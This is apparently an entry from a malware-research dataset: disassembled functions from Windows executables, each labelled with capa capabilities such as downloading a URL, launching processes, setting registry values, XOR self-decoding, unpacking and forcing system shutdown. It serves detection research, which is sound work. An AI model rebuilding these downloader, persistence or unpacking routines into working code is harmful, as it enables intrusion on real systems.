joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800115c3
Capabilities:
Create process on windows
Query environment variable

Disassembly:
jmp 0x18001d2f0
push rbp
push rdi
sub rsp, 0x248
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x56
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x180034040]
xor rax, rbp
mov qword [rbp + 0x208], rax
lea rcx, [0x18003e107]
call fcn.1800119ba
lea rdx, str.uploader_execution_problem
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18001112c
lea rdx, [0x180011069]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x180034800]
call fcn.1800110ff
mov r8d, 0x104
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rdx, [rbp + 0x10]
lea rcx, [0x1800349a8]
call fcn.18001105a
lea rdx, [0x1800347d8]
lea rcx, [0x1800349a8]
call fcn.180011244
lea rcx, [0x1800349a8]
call fcn.1800110ff
mov qword [rbp + 0x138], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, [0x18002e72c]
mov r8, qword [rbp + 0x138]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x18002cc10]
call fcn.18001182f
mov eax, edi
mov rcx, qword [rbp + 0x208]
xor rcx, rbp
call fcn.1800114c4
lea rsp, [rbp + 0x218]
pop rdi
pop rbp
ret
Function at 0x180011690
Capabilities:
Create process on windows
Query environment variable

Disassembly:
jmp 0x18001d4b0
push rbp
push rdi
sub rsp, 0x268
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x5e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x180034040]
xor rax, rbp
mov qword [rbp + 0x228], rax
lea rcx, [0x18003e107]
call fcn.1800119ba
lea rdx, str.indexer_execution_problem
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18001112c
lea rdx, [0x180011069]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 4], 0
mov dword [rbp + 4], 0
jmp 0x18001d528
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0x2710
jg 0x18001d546
lea rdx, [0x18002e728]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18001112c
jmp 0x18001d520
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x180034800]
call fcn.1800110ff
mov r8d, 0x104
lea rdx, [rbp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rdx, [rbp + 0x30]
lea rcx, [0x1800349a8]
call fcn.18001105a
lea rdx, [0x180034958]
lea rcx, [0x1800349a8]
call fcn.180011244
lea rcx, [0x1800349a8]
call fcn.1800110ff
mov qword [rbp + 0x158], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, [0x18002e72c]
mov r8, qword [rbp + 0x158]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x18002cb10]
call fcn.18001182f
mov eax, edi
mov rcx, qword [rbp + 0x228]
xor rcx, rbp
call fcn.1800114c4
lea rsp, [rbp + 0x238]
pop rdi
pop rbp
ret
Function at 0x1800116db
Capabilities:
Query environment variable
Set registry value

Disassembly:
jmp 0x180020480
push rbp
push rdi
sub rsp, 0x498
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xba
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x180034040]
xor rax, rbp
mov qword [rbp + 0x458], rax
lea rcx, [0x18003e107]
call fcn.1800119ba
lea rcx, [0x180034800]
call fcn.1800110ff
mov r8d, 0x104
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rdx, [rbp + 0x10]
lea rcx, [0x1800349a8]
call fcn.18001105a
lea rdx, [0x1800348b8]
lea rcx, [0x1800349a8]
call fcn.180011244
lea r8, [0x1800348e0]
lea rdx, [0x1800349a8]
lea rcx, [rbp + 0x288]
call fcn.180011802
nop
lea rcx, [rbp + 0x288]
call fcn.1800110ff
mov rdx, rax
lea rcx, [rbp + 0x140]
call fcn.18001132a
lea rcx, [0x180034878]
call fcn.1800110ff
lea rcx, [rbp + 0x268]
mov qword [rsp + 0x20], rcx
mov r9d, 2
xor r8d, r8d
mov rdx, rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rcx, [0x1800347b0]
call fcn.1800110ff
mov dword [rsp + 0x28], 0x104
lea rcx, [rbp + 0x140]
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.entry_problem
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18001112c
lea rdx, [0x180011069]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x444], 0
lea rcx, [rbp + 0x288]
call fcn.1800111db
mov eax, dword [rbp + 0x444]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x18002ce60]
call fcn.18001182f
mov eax, edi
mov rcx, qword [rbp + 0x458]
xor rcx, rbp
call fcn.1800114c4
lea rsp, [rbp + 0x468]
pop rdi
pop rbp
ret
Function at 0x1800118de
Capabilities:
Connect to http server
Create http request
Download url
Query environment variable
Receive data

Disassembly:
jmp 0x18001cdb0
push rbp
push rdi
sub rsp, 0x2d8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x76
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x180034040]
xor rax, rbp
mov qword [rbp + 0x288], rax
lea rcx, [0x18003e107]
call fcn.1800119ba
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x18002e758]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 8], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x50
lea rdx, str.host
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x1bb
lea rdx, str.host
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp + 0x28], rax
lea rcx, [0x180034930]
call fcn.1800110ff
mov qword [rbp + 0x48], rax
lea rcx, [0x180034800]
call fcn.1800110ff
mov r8d, 0x104
lea rdx, [rbp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rdx, [rbp + 0x70]
lea rcx, [0x1800349a8]
call fcn.18001105a
lea rdx, [0x180034958]
lea rcx, [0x1800349a8]
call fcn.180011244
lea rcx, [0x1800349a8]
call fcn.1800110ff
mov qword [rbp + 0x198], rax
cmp qword [rbp + 0x28], 0
je 0x18001cf5f
mov eax, dword [rbp + 0x1b4]
or eax, 0x803100
mov dword [rbp + 0x1b4], eax
mov eax, dword [rbp + 0x1b4]
mov dword [rbp + 0x1b4], eax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x198]
mov rdx, qword [rbp + 0x48]
xor ecx, ecx
call fcn.18001123f
test eax, eax
jne 0x18001cf4c
lea rdx, str.saved
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18001112c
jmp 0x18001cf5f
lea rdx, str.error
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18001112c
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.socket_creation_problem_downloading_index
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18001112c
lea rdx, [0x180011069]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x18002cc90]
call fcn.18001182f
mov eax, edi
mov rcx, qword [rbp + 0x288]
xor rcx, rbp
call fcn.1800114c4
lea rsp, [rbp + 0x298]
pop rdi
pop rbp
ret
Function at 0x18001199c
Capabilities:
Write file on windows

Disassembly:
jmp 0x18001a1e0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x180034040]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x18003e0f3]
call fcn.1800119ba
mov rax, qword [rbp + 0x190]
cmp qword [rax + 0x68], 0
je 0x18001a246
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x18001a24d
mov al, 1
jmp 0x18001a39d
call fcn.1800112c6
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx]
mov qword [rbp + 0x158], rcx
mov edx, eax
mov rcx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x158]
call qword [rax + 0x18]
mov dword [rbp + 0x160], eax
call fcn.1800112c6
mov ecx, dword [rbp + 0x160]
mov edx, ecx
mov ecx, eax
call fcn.1800117d0
movzx eax, al
test eax, eax
je 0x18001a29e
xor al, al
jmp 0x18001a39d
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x190]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
je 0x18001a303
cmp dword [rbp + 0x154], 1
je 0x18001a30e
cmp dword [rbp + 0x154], 3
je 0x18001a38c
jmp 0x18001a39b
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x18001a35e
mov rax, qword [rbp + 0x190]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x18001a35e
xor al, al
jmp 0x18001a39d
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x18001a379
mov dword [rbp + 0x154], 1
jmp 0x18001a383
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x18001a39d
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x18001a39d
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x18002c9a0]
call fcn.18001182f
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.1800114c4
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret
Function at 0x14101b8d0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14101b8dd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14101b8ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14101b8d5
lea eax, [rcx + 1]
jmp 0x14101b8fb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14101b90e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14101b8f4
sub eax, 3
jb 0x14101b92e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14101b97d
sar eax, 1
movsxd rbp, eax
jb 0x14101b964
jmp 0x14101b93c
add ebx, ebx
jne 0x14101b93a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14101b964
inc ecx
add ebx, ebx
jne 0x14101b94a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14101b964
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14101b95d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14101b94c
add ecx, 2
jmp 0x14101b969
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14101b892
jmp 0x14101b8dd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x1ac00
mov dl, 7
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14101b9c9
cmp rsi, rcx
jae 0x14101b9d1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14101b9b0
cmp al, 0x8f
ja 0x14101b9b0
cmp byte [rsi - 2], 0xf
je 0x14101b9b6
sub al, 0xe8
cmp al, 1
ja 0x14101b99a
cmp rsi, rcx
jae 0x14101b9d1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14101b9a0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14101b9d1
lodsb al, byte [rsi]
jmp 0x14101b9b0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x1019000]
mov eax, dword [rdi]
or eax, eax
je 0x14101ba2e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1ffb074]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14101b9de
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14101ba28
mov qword [rbx], rax
add rbx, 8
jmp 0x14101b9fe
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14101ba68
cmp al, 0xef
ja 0x14101ba5a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14101ba3a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14101ba49
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.14101bae7], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.14101bae7
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14101bad7
sub rsp, 0xffffffffffffff80
jmp 0x140001125
Function at 0x1414a9908
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1414a9912
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1414a993b
pop rbp
sub rbp, 0x33
sub rbp, 0x14a9908
sub rsp, 0x20
jmp 0x1414a995a
mov rax, 0x14a9908
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x70dd1d52
xor byte [rax], dl
inc rax
dec rcx
jne 0x1414a9979
jmp 0x1414a9990
sbb bl, bl
mov ebx, 0x526edbd9
push rdx
push rdx
sbb dl, bl
xchg ebx, eax
pop rdx
push rbx
push rdx
push rdx
sbb dl, byte [rbx - 0x45]
sbb dl, byte [rbp + 0x52525592]
push rdx
sbb dl, byte [rbp + 0x52527a90]
push rdx
sbb ah, byte [rbp - 0x6cace550]
invalid
Function at 0x100001920
Capabilities:
Shutdown system

Disassembly:
sub rsp, 0x58
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10000199f
lea r8, [rsp + 0x38]
lea rdx, [0x100001388]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x100001999
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x44], rax
xor eax, eax
xor edx, edx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x80010002
mov ecx, 2
call qword [sym.imp.USER32.dll_ExitWindowsEx]
add rsp, 0x58
ret

Function at 0x100001ed0
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x68
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], r12
mov r12, rcx
mov ecx, 0x2004
mov rsi, rdx
call sub.msvcrt.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
test rax, rax
mov rdi, rax
jne 0x100001f14
mov r12, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x68
ret
lea rax, [rsp + 0x30]
lea r9, [rsp + 0x34]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x30], 0x2000
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x100001fa1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x100001fc7
cmp dword [rsp + 0x34], 7
jne 0x100001fc7
mov ebx, dword [rsp + 0x30]
mov rcx, rdi
call sub.msvcrt.dll_void___cdecl_operator_delete_void____ptr64_
mov ecx, ebx
shr rcx, 1
lea rcx, [rcx + rcx + 4]
call sub.msvcrt.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
test rax, rax
mov rdi, rax
je 0x100001fd4
lea rax, [rsp + 0x30]
lea r9, [rsp + 0x34]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100001f43
mov ecx, dword [rsp + 0x30]
shr ecx, 1
mov eax, ecx
mov word [rdi + rax*2], 0
lea eax, [rcx + 1]
mov ecx, eax
mov word [rdi + rcx*2], 0
mov rcx, rdi
call fcn.100001b30
test rax, rax
jne 0x100001fd6
test rdi, rdi
je 0x100001fd4
mov rcx, rdi
call sub.msvcrt.dll_void___cdecl_operator_delete_void____ptr64_
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov r12, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x68
ret
Function at 0x100005a00
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x278
test rdx, rdx
mov qword [rsp + 0x270], rbx
mov qword [rsp + 0x268], rsi
mov qword [rsp + 0x260], rdi
mov ebx, 2
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x258], r12
jne 0x100005a46
cmp r8d, ebx
jl 0x100005a46
mov rcx, qword [r9]
cmp word [rcx], dx
jne 0x100005a5b
mov eax, 3
mov rbx, qword [rsp + 0x270]
add rsp, 0x278
ret
mov rsi, qword [r9 + 8]
cmp word [rsi], 0
jne 0x100005a6f
mov eax, 3
jmp 0x100005b51
lea r8, [rsp + 0x40]
xor r9d, r9d
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
cmp eax, 0x104
jae 0x100005b4f
test eax, eax
je 0x100005b4f
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x100005b4f
lea rcx, [0x1000016f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
mov rdi, rax
je 0x100005b47
lea rdx, [0x1000016c8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov r12, rax
je 0x100005b36
mov rcx, qword [sym.imp.msvcrt.dll__iob]
lea r9, [rsp + 0x40]
mov r8, rsi
add rcx, 0x30
mov edx, 0xeeae
call fcn.1000017f0
lea r11, [rsp + 0x30]
lea r8, [rsp + 0x40]
mov r9d, 1
mov rdx, rsi
xor ecx, ecx
mov qword [rsp + 0x20], r11
call r12
test eax, eax
je 0x100005b36
mov rcx, qword [sym.imp.msvcrt.dll__iob]
mov edx, 0xeeb2
add rcx, 0x30
call fcn.1000017f0
xor ebx, ebx
cmp dword [rsp + 0x30], ebx
setne bl
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r12, qword [rsp + 0x258]
mov rdi, qword [rsp + 0x260]
mov eax, ebx
mov rsi, qword [rsp + 0x268]
mov rbx, qword [rsp + 0x270]
add rsp, 0x278
ret
Function at 0x100006cc0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x78
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x68], rdi
cmp word [0x100000000], 0x5a4d
je 0x100006ce1
xor ebx, ebx
mov dword [rsp + 0x30], ebx
jmp 0x100006d5d
movsxd rax, dword [0x10000003c]
lea rcx, [0x100000000]
add rax, rcx
cmp dword [rax], 0x4550
je 0x100006d02
xor ebx, ebx
mov dword [rsp + 0x30], ebx
jmp 0x100006d5d
movzx ecx, word [rax + 0x18]
cmp ecx, 0x10b
je 0x100006d40
cmp ecx, 0x20b
je 0x100006d1e
xor ebx, ebx
mov dword [rsp + 0x30], ebx
jmp 0x100006d5d
cmp dword [rax + 0x84], 0xe
ja 0x100006d2f
xor ebx, ebx
mov dword [rsp + 0x30], ebx
jmp 0x100006d5d
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0x30], ebx
jmp 0x100006d5d
cmp dword [rax + 0x74], 0xe
ja 0x100006d4e
xor ebx, ebx
mov dword [rsp + 0x30], ebx
jmp 0x100006d5d
xor ebx, ebx
cmp dword [rax + 0xe8], ebx
setne bl
mov dword [rsp + 0x30], ebx
mov ecx, 1
call qword [sym.imp.msvcrt.dll___set_app_type]
mov qword [0x100008258], 0xffffffffffffffff
mov qword [0x100008260], 0xffffffffffffffff
mov rcx, qword [sym.imp.msvcrt.dll__fmode]
mov eax, dword [0x100008254]
mov dword [rcx], eax
mov rcx, qword [sym.imp.msvcrt.dll__commode]
mov eax, dword [0x100008250]
mov dword [rcx], eax
call fcn.100006ef0
cmp dword [0x100008240], 0
jne 0x100006db7
lea rcx, [0x100006ee0]
call qword [sym.imp.msvcrt.dll___setusermatherr]
lea rdx, [0x100001350]
lea rcx, [0x100001348]
call fcn.10009f000
mov r11d, dword [0x10000824c]
mov dword [rsp + 0x34], r11d
lea rax, [rsp + 0x34]
mov qword [rsp + 0x20], rax
mov r9d, dword [0x100008248]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x38]
call qword [sym.imp.msvcrt.dll___wgetmainargs]
mov dword [rsp + 0x40], eax
lea rdx, [0x100001340]
lea rcx, [0x100001338]
call sub.msvcrt.dll__initterm
mov r11, qword [rsp + 0x48]
mov rax, qword [sym.imp.msvcrt.dll___winitenv]
mov qword [rax], r11
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov ecx, dword [rsp + 0x38]
call fcn.100002a10
mov edi, eax
mov dword [rsp + 0x44], eax
test ebx, ebx
jne 0x100006e47
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
call qword [sym.imp.msvcrt.dll__cexit]
jmp 0x100006e69
mov eax, edi
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x68]
add rsp, 0x78
ret
Function at 0x2fc4cb570
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4cbf72
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f0108]
test eax, eax
je 0x2fc4cc00a
lea rax, [0x2fc4f00e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f0110]
mov qword [rbp - 8], rax
jmp 0x2fc4cbfee
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4cbfe2
cmp qword [rbp - 0x10], 0
je 0x2fc4cbfe2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4cbfa8
lea rax, [0x2fc4f00e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4cc00b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4cc110
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4cc138
mov eax, 0
jmp 0x2fc4cc186
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
